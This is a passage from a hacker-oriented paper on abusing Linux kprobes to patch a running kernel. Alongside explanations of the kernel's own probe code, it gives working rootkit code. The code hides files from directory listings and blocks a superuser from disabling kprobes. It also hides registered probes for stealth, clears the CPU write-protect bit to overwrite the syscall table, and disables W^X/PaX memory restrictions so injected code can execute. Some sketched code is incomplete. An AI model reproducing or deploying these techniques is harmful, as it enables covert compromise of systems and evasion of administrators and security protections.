you use to get that location is up to you (I.E System.map).
|
|
|
|
|
|
So as you can see, the code is straight forward. From an internal point
|
|
of view-- by the time sys_mprotect returns, the address at the top of
|
|
the stack (the ret address) has been modified to point to a function
|
|
called kretprobe_trampoline() which in turn sets things up to call
|
|
our mprotect_ret_handler() function where we can inspect and modify
|
|
kernel data. No point in modifying the registers because they were
|
|
all saved on the stack and will be reset as soon as our handler returns.
|
|
More on this in the next section. The kretprobe trampoline function will be
|
|
explored in detail in 2.4 [Kretprobe implementation].
|
|
|
|
|
|
---[ 2 - Kprobes implementation
|
|
|
|
----[ 2.1 - Kprobe implementation
|
|
|
|
Firstly I want to make sure we are on the same page about what a basic
|
|
kprobe is, and the general idea of how it works.
|
|
|
|
-- Taken from kprobes.txt:
|
|
|
|
When a kprobe is registered, Kprobes makes a copy of the probed
|
|
instruction and replaces the first byte(s) of the probed instruction
|
|
with a breakpoint instruction (e.g., int3 on i386 and x86_64).
|
|
|
|
When a CPU hits the breakpoint instruction, a trap occurs, the CPU's
|
|
registers are saved, and control passes to Kprobes via the
|
|
notifier_call_chain mechanism.
|
|
Kprobes executes the "pre_handler" associated with the kprobe, passing
|
|
the handler the addresses of the kprobe struct and the saved registers.
|
|
It would be simpler to single-step the actual instruction in place,
|
|
but then Kprobes would have to temporarily remove the breakpoint
|
|
instruction. This would open a small time window when another CPU
|
|
could sail right past the probepoint.
|
|
|
|
After the instruction is single-stepped, Kprobes executes the
|
|
"post_handler," if any, that is associated with the kprobe.
|
|
Execution then continues with the instruction following the probepoint.
|
|
Next, Kprobes single-steps its copy of the probed instruction.
|
|
|
|
--
|
|
|
|
So to clarify, when registering a typical kprobe a pre_handler should
|
|
always be assigned so that you can inspect data or do whatever you want
|
|
during that point. A post handler may or may not be assigned.
|
|
|
|
Since we are primarily using jprobes and kretprobes which are extensions
|
|
of the kprobe interface, I have chosen to primarily discuss their implementation
|
|
more so than a plain kprobe. All you need to know for now is that registering
|
|
a basic kprobe inserts a breakpoint instruction on the desired location, and
|
|
executes a pre and a post handler that you assign. As you will see in the jprobe and
|
|
kretprobe implementations which are implemented using a basic kprobe with
|
|
a pre and post handler, the pre and post handlers point to special kernel
|
|
functions [/usr/src/linux/arch/x86/kernel/kprobes.c] that act as a sort of
|
|
prologue/epilogue for the actual handler that executes the instructions.
|
|
More will be revealed in the following sections.
|
|
|
|
|
|
----[ 2.2 - Jprobe implementation
|
|
|
|
If we are aware of the internal implementation of jprobes and kretprobes
|
|
then we can utilize them better, and we could even patch the interface
|
|
itself to act more like we want it, but this defeats the purpose of this
|
|
paper which aims at patching the kernel using the kprobes interface as it
|
|
is, although we will explore some external modifications of kprobes later
|
|
on.
|
|
|
|
Firstly take a look at the following struct:
|
|
|
|
struct jprobe {
|
|
struct kprobe kp;
|
|
void *entry; /* probe handling code to jump to */
|
|
};
|
|
|
|
When we call register_jprobe() it in turn calls register_jprobes(&jp, 1).
|
|
register_jprobes() is all about setting up the jprobe pre/post and entry
|
|
handler.
|
|
|
|
-- snippet from register_jprobes() in /usr/src/linux/kernel/kprobes.c --
|
|
|
|
/* See how jprobes utilizes kprobes? It uses the */
|
|
/* pre/post handler */
|
|
jp->kp.pre_handler = setjmp_pre_handler;
|
|
jp->kp.break_handler = longjmp_break_handler;
|
|
ret = register_kprobe(&jp->kp);
|
|
--
|
|
|
|
The pre_handler is called before your function/entry handler and is responsible
|
|
for saving the contents of the stack, the registers, and sets the eip. In
|
|
normal circumstances the developer has no control over the pre/post
|
|
handler for jprobes because the kprobe pre and post handler entries within
|
|
struct kprobe do not point to your own custom handlers, but instead to
|
|
specialized handlers specifically for the jprobe prologue/epilogue.
|
|
|
|
/* Called before addr is executed. */
|
|
kprobe_pre_handler_t pre_handler;
|
|
|
|
/* Called after addr is executed, unless... */
|
|
kprobe_post_handler_t post_handler;
|
|
|
|
You could say that the execution of a jprobe looks like this:
|
|
|
|
1. [jprobe pre_handler] Backup stack and register state
|
|
2. [jprobe function handler] Do elite modifications to kernel
|
|
3. [jprobe post_handler] Restore original stack and registers.
|
|
|
|
Lets take a peek at the pre_handler which backs up the stack and registers.
|
|
|
|
int __kprobes setjmp_pre_handler(struct kprobe *p, struct pt_regs *regs)
|
|
{
|
|
struct jprobe *jp = container_of(p, struct jprobe, kp);
|
|
unsigned long addr;
|
|
struct kprobe_ctlblk *kcb = get_kprobe_ctlblk();
|
|
|
|
kcb->jprobe_saved_regs = *regs;
|
|
kcb->jprobe_saved_sp = stack_addr(regs);
|
|
addr = (unsigned long)(kcb->jprobe_saved_sp);
|
|
|
|
/*
|
|
* As Linus pointed out, gcc assumes that the callee
|
|
* owns the argument space and could overwrite it, e.g.
|
|
* tailcall optimization. So, to be absolutely safe
|
|
* we also save and restore enough stack bytes to cover
|
|
* the argument area.
|
|
*/
|
|
memcpy(kcb->jprobes_stack, (kprobe_opcode_t *)addr,
|
|
MIN_STACK_SIZE(addr));
|
|
regs->flags &= ~X86_EFLAGS_IF;
|
|
trace_hardirqs_off();
|
|
regs->ip = (unsigned long)(jp->entry);
|
|
return 1;
|
|
}
|
|
|
|
Pay close attention to the code comment above; Like with Chuck Noris... if Linus
|
|
says it, then it MUST be true!
|
|
|
|
As you can see, the function gets the current stack location using the stack_addr()
|
|
macro, and then memcpy's it over to kcb->jprobes_stack which is a backup of the
|
|
stack to be restored in the post handler. The stack being restored prior to the
|
|
real function being called does impose some obvious restrictions, but that does
|
|
not mean that we can't manipulate the pointer values that are passed on the stack
|
|
which is something we take advantage of in section 2.3 (File hiding). After
|
|
the jprobe handler is finished, the jprobe post handler is called -- here
|
|
is the code.
|
|
|
|
int __kprobes longjmp_break_handler(struct kprobe *p, struct pt_regs *regs)
|
|
{
|
|
struct kprobe_ctlblk *kcb = get_kprobe_ctlblk();
|
|
u8 *addr = (u8 *) (regs->ip - 1);
|
|
struct jprobe *jp = container_of(p, struct jprobe, kp);
|
|
|
|
if ((addr > (u8 *) jprobe_return) &&
|
|
(addr < (u8 *) jprobe_return_end)) {
|
|
if (stack_addr(regs) != kcb->jprobe_saved_sp) {
|
|
struct pt_regs *saved_regs =
|
|
&kcb->jprobe_saved_regs;
|
|
printk(KERN_ERR
|
|
"current sp %p does not match saved sp %p\n",
|
|
stack_addr(regs), kcb->jprobe_saved_sp);
|
|
printk(KERN_ERR "Saved registers for
|
|
jprobe %p\n", jp);
|
|
show_registers(saved_regs);
|
|
printk(KERN_ERR "Current registers\n");
|
|
show_registers(regs);
|
|
BUG();
|
|
}
|
|
*regs = kcb->jprobe_saved_regs;
|
|
memcpy((kprobe_opcode_t *)(kcb->jprobe_saved_sp),
|
|
kcb->jprobes_stack,
|
|
MIN_STACK_SIZE(kcb->jprobe_saved_sp));
|
|
preempt_enable_no_resched();
|
|
return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
The code primarily restores the stack and re-enables preemption; probe
|
|
handlers are run with preemption disabled.
|
|
|
|
|
|
----[ 2.3 - File hiding using jprobes/kretprobes
|
|
|
|
Lets consider a simple file hiding approach that consists using the
|
|
dirent->d_name pointer in filldir64().
|
|
|
|
|
|
char *hidden_files[] =
|
|
{
|
|
#define HIDDEN_FILES_MAX 3
|
|
"test1",
|
|
"test2",
|
|
"test3"
|
|
};
|
|
|
|
struct getdents_callback64 {
|
|
struct linux_dirent64 __user * current_dir;
|
|
struct linux_dirent64 __user * previous;
|
|
int count;
|
|
int error;
|
|
};
|
|
|
|
/* Global data for kretprobe to act on */
|
|
static struct global_dentry_info
|
|
{
|
|
unsigned long d_name_ptr;
|
|
int bypass;
|
|
} g_dentry;
|
|
|
|
/* Our jprobe handler that globally saves the pointer value of dirent->d_name */
|
|
/* so that our kretprobe can modify that location */
|
|
static int j_filldir64(void * __buf, const char * name, int namlen, loff_t
|
|
offset, u64 ino, unsigned int d_type)
|
|
{
|
|
|
|
int found_hidden_file, i;
|
|
struct linux_dirent64 __user *dirent;
|
|
struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;
|
|
dirent = buf->current_dir;
|
|
int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);
|
|
|
|
/* Initialize custom stuff */
|
|
g_dentry.bypass = 0;
|
|
found_hidden_file = 0;
|
|
|
|
for (i = 0; i < HIDDEN_FILES_MAX; i++)
|
|
if (strcmp(hidden_files[i], name) == 0)
|
|
found_hidden_file++;
|
|
if (!found_hidden_file)
|
|
goto end;
|
|
|
|
/* Create pointer to where we need to modify in dirent */
|
|
/* since someone is trying to view a file we want hidden */
|
|
g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
|
|
g_dentry.bypass++; // note that we want to bypass viewing this file
|
|
|
|
end:
|
|
jprobe_return();
|
|
return 0;
|
|
}
|
|
|
|
/* Our kretprobe handler, which we use to nullify the filename */
|
|
/* Remember the 'return probe technique'? Well this is it. */
|
|
static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
|
|
{
|
|
char *ptr, null = 0;
|
|
/* Someone is looking at one of our hidden files */
|
|
if (g_dentry.bypass)
|
|
{
|
|
/* Lets nullify the filename so it simply is invisible */
|
|
ptr = (char *)g_dentry.d_name_ptr;
|
|
copy_to_user((char *)ptr, &null, sizeof(char));
|
|
}
|
|
}
|
|
|
|
|
|
The code above is quite adept at hiding files based on getdents64 being called
|
|
but unfortunately 'ls' from GNU coreutils will call lstat64 for every d_name found,
|
|
and if some of the d_names start with a null byte then we will see an error returned
|
|
by lstat saying "Cannot access : : file not found". So if we are hiding 3 files, then
|
|
we will see that error message 3 times prior to the directory listing (which will not
|
|
show the hidden files). One of the primary limitations of kprobe patching
|
|
is that we cannot modify the return value of a function; the closest we can get is
|
|
setting up a return probe to modify data that the function may have operated on.
|
|
There are some indirect methods of altering the return value at times, but after
|
|
following the code path for lstat64 I found no way to remedy the issue using kprobes.
|
|
Instead I found the not-so-elegant approach of redirecting the stderr to /dev/null
|
|
by setting a jprobe and a return probe on sys_write. Additionally, while modifying
|
|
sys_write, we might as well redirect any attempts to disable kprobes to /dev/null
|
|
as well. A super user can simply 'echo 0 > /sys/kernel/debug/kprobes/enabled' to
|
|
disable the kprobes interface (We don't want this). One of the parameters we will
|
|
pass to insmod when installing our LKM will be the inode of the 'enabled' /sys entry.
|
|
Below is the code for our modified sys_write.
|
|
|
|
asmlinkage static int j_sys_write(int fd, void *buf, unsigned int len)
|
|
{
|
|
char *s = (char *)buf;
|
|
char null = '\0';
|
|
char devnull[] = "/dev/null";
|
|
struct file *file;
|
|
struct dentry *dentry = NULL;
|
|
unsigned int ino;
|
|
int ret;
|
|
char comm[255];
|
|
|
|
stream_redirect = 0; // do we redirect to /dev/null?
|
|
|
|
/* Make sure this is an ls program */
|
|
/* otherwise we'd prevent other programs */
|
|
/* From being able to send 'cannot access' */
|
|
/* in their stderr stream, possibly */
|
|
get_task_comm(comm, current);
|
|
if (strcmp(comm, "ls") != 0)
|
|
goto out;
|
|
|
|
/* check to see if this is an ls stat complaint, or ls -l weirdness */
|
|
/* There are two separate calls to sys_write hence two strstr checks */
|
|
if (strstr(s, "cannot access") || strstr(s, "ls:"))
|
|
{
|
|
printk("Going to redirect\n");
|
|
goto redirect;
|
|
}
|
|
/* Check to see if they are trying to disable kprobes */
|
|
/* with 'echo 0 > /sys/kernel/debug/kprobes/enabled' */
|
|
file = fget(fd);
|
|
if (!file)
|
|
goto out;
|
|
dentry = dget(file->f_dentry);
|
|
if (!dentry)
|
|
goto out;
|
|
ino = dentry->d_inode->i_ino;
|
|
dput(dentry);
|
|
fput(file);
|
|
if (ino != enabled_ino)
|
|
goto out;
|
|
|
|
redirect:
|
|
/* If we made it here, then we are doing a redirect to /dev/null */
|
|
stream_redirect++;
|
|
mm_segment_t o_fs = get_fs();
|
|
set_fs(KERNEL_DS);
|
|
|
|
n_sys_close(fd);
|
|
fd = n_sys_open(devnull, O_RDWR, 0);
|
|
|
|
set_fs(o_fs);
|
|
global_fd = fd;
|
|
|
|
out:
|
|
jprobe_return();
|
|
return 0;
|
|
}
|
|
/* Here is the return handler to close the fd to /dev/null. */
|
|
static int sys_write_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
|
|
{
|
|
if (stream_redirect)
|
|
{
|
|
n_sys_close(global_fd);
|
|
stream_redirect = 0;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
We close the existing file descriptor and open a new one that will
|
|
use the same fd number. This redirection of stderr to /dev/null is only for the
|
|
current process. To understand it a bit more we can follow the code path of
|
|
do_sys_open(), I've added some extra comments:
|
|
|
|
long do_sys_open(int dfd, const char __user *filename, int flags, int mode)
|
|
{
|
|
char *tmp = getname(filename);
|
|
int fd = PTR_ERR(tmp);
|
|
|
|
if (!IS_ERR(tmp)) {
|
|
fd = get_unused_fd_flags(flags);
|
|
if (fd >= 0) {
|
|
struct file *f = do_filp_open(dfd, tmp, flags,
|
|
mode, 0);
|
|
if (IS_ERR(f)) {
|
|
put_unused_fd(fd);
|
|
fd = PTR_ERR(f);
|
|
} else {
|
|
|
|
/* Notice fsnotify_open() */
|
|
fsnotify_open(f->f_path.dentry);
|
|
|
|
/* Associate fd with /dev/null */
|
|
fd_install(fd, f);
|
|
trace_do_sys_open(tmp, flags, mode);
|
|
}
|
|
}
|
|
putname(tmp);
|
|
}
|
|
return fd;
|
|
}
|
|
|
|
The new file descriptor is associated with its new file (struct
|
|
files_struct *) for the current task using fd_install().
|
|
|
|
void fd_install(unsigned int fd, struct file *file)
|
|
{
|
|
struct files_struct *files = current->files; // <-- notice here
|
|
struct fdtable *fdt;
|
|
spin_lock(&files->file_lock);
|
|
fdt = files_fdtable(files); // <-- notice here
|
|
BUG_ON(fdt->fd[fd] != NULL);
|
|
rcu_assign_pointer(fdt->fd[fd], file); // <-- notice here
|
|
spin_unlock(&files->file_lock);
|
|
}
|
|
|
|
|
|
One important note to the reader is, /sys/kernel/debug/kprobes/list
|
|
the file which shows any registered kprobes. Simply use a redirect
|
|
technique like the one we used above to track open's to that file and
|
|
redirect any writes to stdout to /dev/null if the list contains a
|
|
probe that you have registered. Very trivial, and absolutely necessary
|
|
to maintain a stealth presence.
|
|
|
|
As the topic of rootkits has become trite ...
|
|
I would like to introduce some other kprobe examples. Firstly
|
|
let us discuss the Kretprobe implementation in detail. It will
|
|
give some more insight into the limitations of kprobes and also
|
|
expand your mind on how the kprobe implementation may be modified --
|
|
which is not covered in this paper.
|
|
|
|
|
|
----[ 2.4 - Kretprobe implementation
|
|
|
|
The kretprobe implementation is especially interesting. Primarily because
|
|
it is an innovative and nicely engineered chunk of code. Here is how it
|
|
works.
|
|
|
|
-- From the kprobes.txt --
|
|
|
|
When you call register_kretprobe(), Kprobes establishes a kprobe at
|
|
the entry to the function. When the probed function is called and this
|
|
probe is hit, Kprobes saves a copy of the return address, and replaces
|
|
the return address with the address of a "trampoline." The trampoline
|
|
is an arbitrary piece of code -- typically just a nop instruction.
|
|
At boot time, Kprobes registers a kprobe at the trampoline.
|
|
|
|
The kretprobe implementation is really just a creative way of using
|
|
kprobes by registering them and assigning the trap handlers functions
|
|
that deal with modifying the return address.
|
|
|
|
-- From /usr/src/linux/kernel/kprobes.c --
|
|
|
|
int __kprobes register_kretprobe(struct kretprobe *rp)
|
|
{
|
|
int ret = 0;
|
|
struct kretprobe_instance *inst;
|
|
int i;
|
|
void *addr;
|
|
|
|
... <code> ...
|
|
|
|
rp->kp.pre_handler = pre_handler_kretprobe;
|
|
rp->kp.post_handler = NULL;
|
|
rp->kp.fault_handler = NULL;
|
|
rp->kp.break_handler = NULL;
|
|
|
|
... <code> ...
|
|
}
|
|
NOTE:
|
|
Notice the rp->kp.pre_handler -- kp is struct kprobe
|
|
and the pre_handler is assigned pre_handler_kretprobe.
|
|
|
|
So when the return probe is hit, pre_handler_kretprobe() will call
|
|
arch_prepare_kretprobe() which saves the original return address and inserts
|
|
the new one:
|
|
|
|
void __kprobes arch_prepare_kretprobe(struct kretprobe_instance *ri,
|
|
struct pt_regs *regs)
|
|
{
|
|
unsigned long *sara = stack_addr(regs);
|
|
|
|
ri->ret_addr = (kprobe_opcode_t *) *sara;
|
|
|
|
/* Replace the return addr with trampoline addr */
|
|
*sara = (unsigned long) &kretprobe_trampoline;
|
|
}
|
|
|
|
Notice the last line which sets the return address to the trampoline. The
|
|
trampoline is actually defined in an assembly stub, which for x86 looks
|
|
like this:
|
|
|
|
asm volatile (
|
|
".global kretprobe_trampoline\n"
|
|
"kretprobe_trampoline: \n"
|
|
* Skip cs, ip, orig_ax and gs.
|
|
* trampoline_handler() will plug in these values
|
|
*/
|
|
" subl $16, %esp\n"
|
|
" pushl %fs\n"
|
|
" pushl %es\n"
|
|
" pushl %ds\n"
|
|
" pushl %eax\n"
|
|
" pushl %ebp\n"
|
|
" pushl %edi\n"
|
|
" pushl %esi\n"
|
|
" pushl %edx\n"
|
|
" pushl %ecx\n"
|
|
" pushl %ebx\n"
|
|
" movl %esp, %eax\n"
|
|
" call trampoline_handler\n"
|
|
/* Move flags to cs */
|
|
" movl 56(%esp), %edx\n"
|
|
" movl %edx, 52(%esp)\n"
|
|
/* Replace saved flags with true return address. */
|
|
" movl %eax, 56(%esp)\n"
|
|
" popl %ebx\n"
|
|
" popl %ecx\n"
|
|
" popl %edx\n"
|
|
" popl %esi\n"
|
|
" popl %edi\n"
|
|
" popl %ebp\n"
|
|
" popl %eax\n"
|
|
/* Skip ds, es, fs, gs, orig_ax and ip */
|
|
" addl $24, %esp\n"
|
|
" popf\n"
|
|
#endif
|
|
" ret\n");
|
|
}
|
|
|
|
After the register state is backed up on the stack the stub calls
|
|
trampoline_handler() which essentially executes any return probe
|
|
handlers associated with the kretprobe for the given function. Looking at
|
|
the actual function gives some more insight.
|
|
|
|
static __used __kprobes void *trampoline_handler(struct pt_regs *regs)
|
|
{
|
|
struct kretprobe_instance *ri = NULL;
|
|
struct hlist_head *head, empty_rp;
|
|
struct hlist_node *node, *tmp;
|
|
unsigned long flags, orig_ret_address = 0;
|
|
unsigned long trampoline_address = (unsigned
|
|
long)&kretprobe_trampoline;
|
|
|
|
INIT_HLIST_HEAD(&empty_rp);
|
|
kretprobe_hash_lock(current, &head, &flags);
|
|
/* fixup registers */
|
|
#ifdef CONFIG_X86_64
|
|
regs->cs = __KERNEL_CS;
|
|
#else
|
|
regs->cs = __KERNEL_CS | get_kernel_rpl();
|
|
regs->gs = 0;
|
|
#endif
|
|
regs->ip = trampoline_address;
|
|
regs->orig_ax = ~0UL;
|
|
|
|
/*
|
|
* It is possible to have multiple instances associated with a
|
|
* given
|
|
* task either because multiple functions in the call path have
|
|
* return probes installed on them, and/or more than one
|
|
* return probe was registered for a target function.
|
|
*
|
|
* We can handle this because:
|
|
* - instances are always pushed into the head of the list
|
|
* - when multiple return probes are registered for the same
|
|
* function, the (chronologically) first instance's ret_addr
|
|
* will be the real return address, and all the rest will
|
|
* point to kretprobe_trampoline.
|
|
*/
|
|
hlist_for_each_entry_safe(ri, node, tmp, head, hlist) {
|
|
if (ri->task != current)
|
|
/* another task is sharing our hash bucket */
|
|
continue;
|
|
|
|
if (ri->rp && ri->rp->handler) {
|
|
__get_cpu_var(current_kprobe) = &ri->rp->kp;
|
|
get_kprobe_ctlblk()->kprobe_status =
|
|
KPROBE_HIT_ACTIVE;
|
|
ri->rp->handler(ri, regs);
|
|
__get_cpu_var(current_kprobe) = NULL;
|
|
}
|
|
|
|
orig_ret_address = (unsigned long)ri->ret_addr;
|
|
recycle_rp_inst(ri, &empty_rp);
|
|
|
|
if (orig_ret_address != trampoline_address)
|
|
/*
|
|
* This is the real return address. Any other
|
|
* instances associated with this task are for
|
|
* other calls deeper on the call stack
|
|
*/
|
|
break;
|
|
}
|
|
|
|
kretprobe_assert(ri, orig_ret_address, trampoline_address);
|
|
|
|
kretprobe_hash_unlock(current, &flags);
|
|
|
|
hlist_for_each_entry_safe(ri, node, tmp, &empty_rp, hlist) {
|
|
hlist_del(&ri->hlist);
|
|
kfree(ri);
|
|
}
|
|
return (void *)orig_ret_address;
|
|
}
|
|
|
|
The original return address value is returned, and then the
|
|
kretprobe_trampoline stub copies it onto the stack at the right location.
|
|
At which point all of the saved registers are pop'd and restored--resulting
|
|
in returning to the original calling function with the original return
|
|
value. I suppose it doesn't take an over active imagination to see that the
|
|
kretprobe_trampoline stub code can be modified to return a different
|
|
value. This could be done in several ways, however it would exceed
|
|
the scope of hacking purely with kprobes. The arch_prepare_kretprobe()
|
|
function would have to be patched (And it cannot be patched using a kprobe
|
|
sadly) this is because any functions with a __kprobe in the prototype
|
|
cannot be patched using kprobe hooks themselves.
|
|
|
|
-- A simple patch within arch_prepare_kretprobe()
|
|
|
|
*sara = (unsigned long)&kretprobe_trampoline;
|
|
|
|
Could be changed to:
|
|
|
|
*sara = (unsigned long)&custom_asm_stub;
|
|
|
|
The problem is that arch_prepare_kretprobe() would have to be modified
|
|
using a technique alternate to kprobes, which is of course easy enough
|
|
but exceeds this papers scope. If you are interested in doing this the
|
|
next section will give you a trick that will be necessary in doing so.
|
|
|
|
|
|
----[ 2.5 - A quick stop into modifying read-only kernel segments
|
|
|
|
If you do feel interested in hijack arch_prepare_kretprobe()
|
|
using a function trampoline, do remember that modern intel CPU's
|
|
have the WRITE_PROTECT bit (cr0.wp) which prevents modifications to
|
|
read-only segments, so anytime you want to modify any data structure
|
|
that resides in .rodata you will need to use the function I provide
|
|
below to modify them. The following types of data structures often
|
|
exist in the kernels text segment:
|
|
|
|
1. void **sys_call_table
|
|
2. const struct file_operations <fs_fops_name>
|
|
3. const struct vm_ops <vma_vmops_name>
|
|
4. kernel functions
|
|
|
|
Data structures defined as 'const' will go into the .rodata section
|
|
which is at the end of the text segment, and the kernel code itself
|
|
generally exist in the .text section of the text segment. Attempting
|
|
writes to these locations will cause kernel freezes/panics/oops.
|
|
|
|
Some people modify the page table entry data for read-only pages they
|
|
want to modify, but the following functions I have provided are much
|
|
simpler, and an example will be provided below.
|
|
|
|
/* FUNCTION TO DISABLE WRITE PROTECT BIT IN CPU */
|
|
static void disable_wp(void)
|
|
{
|
|
unsigned int cr0_value;
|
|
|
|
asm volatile ("movl %%cr0, %0" : "=r" (cr0_value));
|
|
|
|
/* Disable WP */
|
|
cr0_value &= ~(1 << 16);
|
|
|
|
asm volatile ("movl %0, %%cr0" :: "r" (cr0_value));
|
|
|
|
}
|
|
|
|
/* FUNCTION TO RE-ENABLE WRITE PROTECT BIT IN CPU */
|
|
static void enable_wp(void)
|
|
{
|
|
unsigned int cr0_value;
|
|
|
|
asm volatile ("movl %%cr0, %0" : "=r" (cr0_value));
|
|
|
|
/* Enable WP */
|
|
cr0_value |= (1 << 16);
|
|
|
|
asm volatile ("movl %0, %%cr0" :: "r" (cr0_value));
|
|
|
|
}
|
|
|
|
So if you wanted to modify a kernel function pointer that exists within
|
|
the text segment (If it is declared const) -- I.E the sys_call_table:
|
|
|
|
disable_wp();
|
|
sys_call_table[__NR_write] = (void *)n_sys_write;
|
|
enable_wp();
|
|
|
|
Or assuming you have a function that hijacks arch_prepare_kretprobe() using
|
|
the method discussed here [3]
|
|
|
|
disable_wp();
|
|
hijack_arch_prepare_kretprobe();
|
|
enable_wp();
|
|
|
|
|
|
You get the idea. But since we've fallen a bit off track lets move into
|
|
the next section which is actually more relative to the paper.
|
|
|
|
|
|
----[ 2.6 - An idea for a kretprobe implementation for hackers
|
|
|
|
|
|
The primary restriction in patching the kernels should be obvious by now.
|
|
We CANNOT modify the return value in return probes (kretprobes). If someone
|
|
felt so inclined, they could (in an LKM) implement something very similar to
|
|
the kretprobe implementation. This would allow us to instrument the kernel
|
|
using kprobes and modify the return value -- therefore easily patching
|
|
functions like filldir64 which would allow us to simply use our special
|
|
kretprobe implementation to 'return 0' if the 'char *d_name' matched a
|
|
file we wanted to hide.
|
|
|
|
If the reader studies /usr/src/linux/kernel/kprobes.c after reading the
|
|
above section on kretprobe implementation, it becomes apparent that a
|
|
more flexible kretprobe implementation could be designed. This is hardly
|
|
non-trivial if the reader followed this paper in its entirety. I simply
|
|
did not have enough time to design this feature -- a kretprobe for hackers
|
|
that allows control of the return value. Lets call this feature 'rpe'
|
|
(Return probe elite) the BASIC schematics would look like:
|
|
|
|
int register_rpe(struct kretprobe *rp)
|
|
{
|
|
|
|
... <code> ...
|
|
rp->kp.pre_handler = pre_handler_rpe;
|
|
... <code> ...
|
|
}
|
|
|
|
static int pre_handler_rpe(struct kprobe *p,
|
|
struct pt_regs *regs)
|
|
{
|
|
arch_prepare_rpe(regs);
|
|
|
|
}
|
|
|
|
|
|
void arch_prepare_rpe(struct pt_regs *regs)
|
|
{
|
|
|
|
unsigned long *ret = stack_addr(regs);
|
|
|
|
ret_addr = (kprobe_opcode_t *) *sara;
|
|
|
|
/* Replace the return addr with trampoline addr */
|
|
*ret = (unsigned long) &rpe_trampoline;
|
|
}
|
|
|
|
rpe_trampoline could be either an asm stub or an actual
|
|
function -- either way you would want to backup the registers
|
|
before calling your handler that does what you want --
|
|
to process data and ultimately return whatever value you want
|
|
For instance:
|
|
__asm__ ("movl $val, %eax\n"
|
|
"push $ret_addr\n"
|
|
"ret");
|
|
|
|
Since I did not provide an implementation for a more flexible
|
|
kretprobe, the reader may be interested in doing so. Once I
|
|
get an opportunity I intend on writing an LKM patch for one
|
|
and releasing it.
|
|
|
|
|
|
---[ 3 - Patch to unpatch W^X (mprotect/mmap restrictions)
|
|
|
|
Lets move on to a couple of other patches using the existing
|
|
kprobe features to show some usefulness other than a file hiding
|
|
mechanism. These two patches will aim at disabling the W^X feature
|
|
that is enabled in kernels -- PaX for instance calls this mprotect
|
|
restrictions. W^X is to say that an mmap segment cannot be created
|
|
or modified to be both write+execute. The patches below give us
|
|
two benefits:
|
|
|
|
1. On systems with the NX (no_exec_pages) bit set, we will be able
|
|
to do things like mark the data segment as executable and inject
|
|
code there for execution using ptrace.
|
|
|
|
2. Many ELF protectors (Burneye, Shiva, Elfcrypt, etc.) store the
|
|
encrypted executable in the text segment of the stub/loading code
|
|
and to decrypt part of a programs own text, would be considered self
|
|
modifying code -- W^X prevents this -- so with our Anti-W^X patch
|
|
we can use our ELF Protectors, and make segments such as the stack
|
|
and data segment, once again, executable on systems with the NX bit set
|
|
where mprotect/mmap restrictions really make a difference.
|
|
|
|
An important note is that due to the design nature of the following
|
|
patch, we cannot change the return values; so mprotect and mmap
|
|
will both give a return value that says they failed-- don't exit
|
|
based on error checking because your write+execute mmap and mprotect
|
|
attempts actually succeed. To test you can look at /proc/pid/maps
|
|
of the given process.
|
|
|
|
-- tested on 2.6.18 --
|
|
|
|
On modern systems simply change regs->eax to regs->ax in the two necessary spots.
|
|
Also exporting the module license to GPL is not necessary to use kprobes on modern
|
|
systems.
|
|
|
|
#include <linux/kernel.h>
|
|
#include <linux/module.h>
|
|
#include <linux/kprobes.h>
|
|
#include <linux/mm.h>
|
|
#include <linux/fs.h>
|
|
#include <linux/file.h>
|
|
|
|
|
|
#define PROT_READ 0x1 /* Page can be read. */
|
|
#define PROT_WRITE 0x2 /* Page can be written. */
|
|
#define PROT_EXEC 0x4 /* Page can be executed. */
|
|
#define PROT_NONE 0x0 /* Page can not be accessed. */
|
|
#define MAP_FIXED 0x10
|
|
|
|
#define MAP_ANONYMOUS 0x20 /* don't use a file */
|
|
#define MAP_GROWSDOWN 0x0100 /* stack-like segment */
|
|
#define MAP_DENYWRITE 0x0800 /* ETXTBSY */
|
|
#define MAP_EXECUTABLE 0x1000 /* mark it as an executable */
|
|
|
|
/*
|
|
* It is preferable to write a script that gets
|
|
* kallsyms_lookup_name() from System.map and then
|
|
* passes it as a module parameter, but in this example
|
|
* we just look it up and assign it our selves, so
|
|
* make sure to change the address.
|
|
*/
|
|
unsigned long (*_kallsyms_lookup_name)(char *) = (void *)0xc043e5d0; // change this
|
|
|
|
unsigned long (*_get_unmapped_area)(struct file *file, unsigned long addr, unsigned long len,
|
|
unsigned long pgoff, unsigned long flags);
|
|
|
|
|
|
static struct
|
|
{
|
|
int assign_wx;
|
|
unsigned long start;
|
|
size_t len;
|
|
long prot;
|
|
} mprotect;
|
|
|
|
MODULE_LICENSE("GPL");
|
|
|
|
asmlinkage int kp_sys_mprotect(unsigned long start, size_t len, long prot)
|
|
{
|
|
struct vm_area_struct *vma = current->mm->mmap;
|
|
|
|
mprotect.assign_wx = 0;
|
|
mprotect.start = start;
|
|
mprotect.prot = prot;
|
|
|
|
/* This doesn't concern us */
|
|
if (!(prot & PROT_EXEC) && !(prot & PROT_WRITE))
|
|
goto out;
|
|
|
|
down_write(¤t->mm->mmap_sem);
|
|
|
|
/* Get vma for start memory area */
|
|
vma = find_vma(current->mm, start);
|
|
if (!vma)
|
|
goto free_sem;
|
|
|
|
if (prot & (PROT_WRITE|PROT_EXEC))
|
|
{
|
|
mprotect.assign_wx++;
|
|
goto free_sem;
|
|
}
|
|
|
|
if (prot & PROT_WRITE)
|
|
{
|
|
mprotect.assign_wx++;
|
|
goto free_sem;
|
|
}
|
|
|
|
if (prot & PROT_EXEC)
|
|
{
|
|
mprotect.assign_wx++;
|
|
goto free_sem;
|
|
}
|
|
|
|
free_sem:
|
|
up_write(¤t->mm->mmap_sem);
|
|
|
|
out:
|
|
jprobe_return();
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
before the following function is executed, a W^X patch such as PaX
|
|
mprotect/mmap restrictions, will have code such as:
|
|
if ((vm_flags & (VM_WRITE | VM_EXEC)) != VM_EXEC)
|
|
vm_flags &= ~(VM_EXEC | VM_MAYEXEC);
|
|
else
|
|
vm_flags &= ~(VM_WRITE | VM_MAYWRITE);
|
|
|
|
But our return probe gets the last say in the matter. mprotect
|
|
will return like it failed (With a positive value) but the VMA's
|
|
